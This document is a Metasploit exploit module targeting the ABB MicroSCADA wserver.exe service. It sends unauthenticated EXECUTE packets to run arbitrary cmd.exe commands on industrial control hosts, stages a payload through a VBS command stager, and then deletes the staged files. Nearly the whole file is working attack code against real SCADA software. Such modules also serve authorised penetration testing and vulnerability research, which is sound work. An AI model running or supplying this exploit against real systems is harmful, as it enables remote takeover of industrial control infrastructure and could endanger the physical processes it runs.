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require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStagerVBS
def initialize(info = {})
super(update_info(info,
'Name' => 'ABB MicroSCADA wserver.exe Remote Code Execution',
'Description' => %q{
This module exploits a remote stack buffer overflow vulnerability in ABB MicroSCADA. The
issue is due to the handling of unauthenticated EXECUTE operations on the wserver.exe
component, which allows arbitrary commands. The component is disabled by default, but
required when a project uses the SCIL function WORKSTATION_CALL.
This module has been tested successfully on ABB MicroSCADA Pro SYS600 9.3 over
Windows XP SP3 and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brian Gorenc',
'juan vazquez'
],
'References' =>
[
[ 'OSVDB', '100324'],
[ 'ZDI', '13-270' ],
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'DefaultOptions' =>
{
'WfsDelay' => 5
},
'Targets' =>
[
[ 'ABB MicroSCADA Pro SYS600 9.3', { } ]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => 'Apr 05 2013'
))
register_options([Opt::RPORT(12221)], self.class)
end
def check
op = "EXECUTE\x00"
pkt_length = [4 + op.length].pack("V")
pkt = pkt_length
pkt << op
connect
sock.put(pkt)
res = sock.get_once
disconnect
if res and res.length == 6 and res[0, 2].unpack("v")[0] == 6 and res[2, 4].unpack("V")[0] == 0xe10001
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
execute_cmdstager({:linemax => 750, :nodelete => true})
end
def execute_cmdstager_end(opts)
@var_tempdir = @stager_instance.instance_variable_get(:@tempdir)
@var_decoded = @stager_instance.instance_variable_get(:@var_decoded)
@var_encoded = @stager_instance.instance_variable_get(:@var_encoded)
@var_decoder = @stager_instance.instance_variable_get(:@var_decoder)
print_status("Trying to delete #{@var_tempdir}#{@var_encoded}.b64...")
execute_command("del #{@var_tempdir}#{@var_encoded}.b64", {})
print_status("Trying to delete #{@var_tempdir}#{@var_decoder}.vbs...")
execute_command("del #{@var_tempdir}#{@var_decoder}.vbs", {})
print_status("Trying to delete #{@var_tempdir}#{@var_decoded}.exe...")
execute_command("del #{@var_tempdir}#{@var_decoded}.exe", {})
end
def execute_command(cmd, opts)
op = "EXECUTE\x00"
command = "cmd.exe /c #{cmd}"
pkt_length = [4 + op.length + command.length].pack("V")
pkt = pkt_length
pkt << op
pkt << command
connect
sock.put(pkt)
res = sock.get_once
disconnect
unless res and res.length == 6 and res[0, 2].unpack("v")[0] == 6 and res[2, 4].unpack("V")[0] == 1
fail_with(Failure::UnexpectedReply, "Unexpected reply while executing the cmdstager")
end
end
end
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